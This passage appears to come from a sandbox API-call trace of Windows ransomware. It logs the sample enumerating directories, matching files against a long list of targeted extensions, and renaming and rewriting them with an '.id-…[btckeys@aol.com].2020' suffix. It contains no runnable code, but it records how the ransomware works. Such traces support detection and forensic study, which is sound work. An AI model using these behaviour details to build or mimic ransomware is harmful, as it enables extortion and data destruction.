(lpString1=".bz2", lpString2=".cab") returned -1 [0080.443] lstrlenW (lpString=".7z") returned 3 [0080.443] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0080.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.443] lstrlenW (lpString=".dbf") returned 4 [0080.443] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0080.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.443] lstrlenW (lpString=".1cd") returned 4 [0080.443] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0080.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0080.443] lstrlenW (lpString=".jpg") returned 4 [0080.443] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0080.443] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0080.443] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0080.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0080.490] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=162970271) returned 1 [0080.490] CloseHandle (hObject=0x1e4) returned 1 [0080.490] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0080.490] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.490] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0080.491] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0080.491] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0080.491] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0080.491] ReadFile (in: hFile=0x1e4, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.782] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0080.782] ReadFile (in: hFile=0x1e4, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.897] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0080.897] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0080.897] ReadFile (in: hFile=0x1e4, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0080.996] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0080.996] WriteFile (in: hFile=0x1e4, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0081.308] SetEndOfFile (hFile=0x1e4) returned 1 [0081.309] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0081.494] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0081.494] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.495] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0081.496] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.500] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0081.500] WriteFile (in: hFile=0x1e4, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0081.502] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0081.503] CloseHandle (hObject=0x1e4) returned 1 [0081.503] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0081.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.503] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.503] lstrlenW (lpString=".doc") returned 4 [0081.503] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0081.503] lstrlenW (lpString=".docx") returned 5 [0081.503] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0081.503] lstrlenW (lpString=".pdf") returned 4 [0081.503] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0081.503] lstrlenW (lpString=".xls") returned 4 [0081.503] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString=".xlsx") returned 5 [0081.504] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0081.504] lstrlenW (lpString=".ppt") returned 4 [0081.504] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.504] lstrlenW (lpString=".zip") returned 4 [0081.504] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString=".rar") returned 4 [0081.504] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString=".bz2") returned 4 [0081.504] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0081.504] lstrlenW (lpString=".7z") returned 3 [0081.504] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0081.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.504] lstrlenW (lpString=".dbf") returned 4 [0081.504] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.504] lstrlenW (lpString=".1cd") returned 4 [0081.504] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0081.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.504] lstrlenW (lpString=".jpg") returned 4 [0081.504] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.504] lstrlenW (lpString=".doc") returned 4 [0081.504] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0081.504] lstrlenW (lpString=".docx") returned 5 [0081.505] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0081.505] lstrlenW (lpString=".pdf") returned 4 [0081.505] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0081.505] lstrlenW (lpString=".xls") returned 4 [0081.505] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0081.505] lstrlenW (lpString=".xlsx") returned 5 [0081.505] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0081.505] lstrlenW (lpString=".ppt") returned 4 [0081.505] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0081.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.505] lstrlenW (lpString=".zip") returned 4 [0081.505] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0081.505] lstrlenW (lpString=".rar") returned 4 [0081.505] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0081.505] lstrlenW (lpString=".bz2") returned 4 [0081.505] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0081.505] lstrlenW (lpString=".7z") returned 3 [0081.505] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0081.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.505] lstrlenW (lpString=".dbf") returned 4 [0081.505] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0081.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.505] lstrlenW (lpString=".1cd") returned 4 [0081.505] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0081.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0081.505] lstrlenW (lpString=".jpg") returned 4 [0081.505] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0081.506] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0081.506] lstrlenW (lpString="PidGenX.dll") returned 11 [0081.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0081.506] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=1463568) returned 1 [0081.506] CloseHandle (hObject=0x1e4) returned 1 [0081.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0081.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0081.507] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.507] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0081.507] GetLastError () returned 0x0 [0081.507] ReadFile (in: hFile=0x1e4, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xffff0, lpOverlapped=0x0) returned 1 [0081.917] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0081.932] ReadFile (in: hFile=0x1e4, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x65520, lpOverlapped=0x0) returned 1 [0081.951] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0x65530, lpOverlapped=0x0) returned 1 [0082.191] ReadFile (in: hFile=0x1e4, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0082.191] WriteFile (in: hFile=0x210, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xea, lpOverlapped=0x0) returned 1 [0082.191] SetEndOfFile (hFile=0x210) returned 1 [0083.215] CloseHandle (hObject=0x210) Thread: id = 18 os_tid = 0x6f0 [0060.807] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38f06c0 [0060.807] lstrlenW (lpString="C:") returned 2 [0060.807] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33efd00 | out: lpFindFileData=0x33efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x501028 [0060.807] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0060.808] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0060.808] lstrlenW (lpString="$Recycle.Bin") returned 12 [0060.808] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0060.808] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006c8 [0060.808] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0060.808] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a0d68 [0060.808] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.808] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0060.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0060.809] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0060.809] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0060.809] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0060.809] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.809] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0060.809] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1db0 [0060.809] FindNextFileW (in: hFindFile=0x5a1db0, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.809] FindNextFileW (in: hFindFile=0x5a1db0, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.809] lstrlenW (lpString="desktop.ini") returned 11 [0060.809] lstrlenW (lpString=".1cd") returned 4 [0060.809] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0060.809] lstrlenW (lpString=".3ds") returned 4 [0060.809] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0060.809] lstrlenW (lpString=".3fr") returned 4 [0060.809] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".3g2") returned 4 [0060.810] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".3gp") returned 4 [0060.810] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".7z") returned 3 [0060.810] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0060.810] lstrlenW (lpString=".accda") returned 6 [0060.810] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0060.810] lstrlenW (lpString=".accdb") returned 6 [0060.810] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0060.810] lstrlenW (lpString=".accdc") returned 6 [0060.810] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0060.810] lstrlenW (lpString=".accde") returned 6 [0060.810] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0060.810] lstrlenW (lpString=".accdt") returned 6 [0060.810] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0060.810] lstrlenW (lpString=".accdw") returned 6 [0060.810] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0060.810] lstrlenW (lpString=".adb") returned 4 [0060.810] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".adp") returned 4 [0060.810] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".ai") returned 3 [0060.810] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0060.810] lstrlenW (lpString=".ai3") returned 4 [0060.810] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".ai4") returned 4 [0060.810] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".ai5") returned 4 [0060.810] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".ai6") returned 4 [0060.810] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".ai7") returned 4 [0060.810] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".ai8") returned 4 [0060.810] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0060.810] lstrlenW (lpString=".anim") returned 5 [0060.811] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0060.811] lstrlenW (lpString=".arw") returned 4 [0060.811] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".as") returned 3 [0060.811] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0060.811] lstrlenW (lpString=".asa") returned 4 [0060.811] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".asc") returned 4 [0060.811] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".ascx") returned 5 [0060.811] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0060.811] lstrlenW (lpString=".asm") returned 4 [0060.811] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".asmx") returned 5 [0060.811] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0060.811] lstrlenW (lpString=".asp") returned 4 [0060.811] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".aspx") returned 5 [0060.811] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0060.811] lstrlenW (lpString=".asr") returned 4 [0060.811] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".asx") returned 4 [0060.811] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".avi") returned 4 [0060.811] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".avs") returned 4 [0060.811] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".backup") returned 7 [0060.811] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0060.811] lstrlenW (lpString=".bak") returned 4 [0060.811] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".bay") returned 4 [0060.811] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".bd") returned 3 [0060.811] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0060.811] lstrlenW (lpString=".bin") returned 4 [0060.811] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0060.811] lstrlenW (lpString=".bmp") returned 4 [0060.812] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".bz2") returned 4 [0060.812] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".c") returned 2 [0060.812] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0060.812] lstrlenW (lpString=".cdr") returned 4 [0060.812] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0060.812] lstrlenW (lpString=".cer") returned 4 [0060.812] 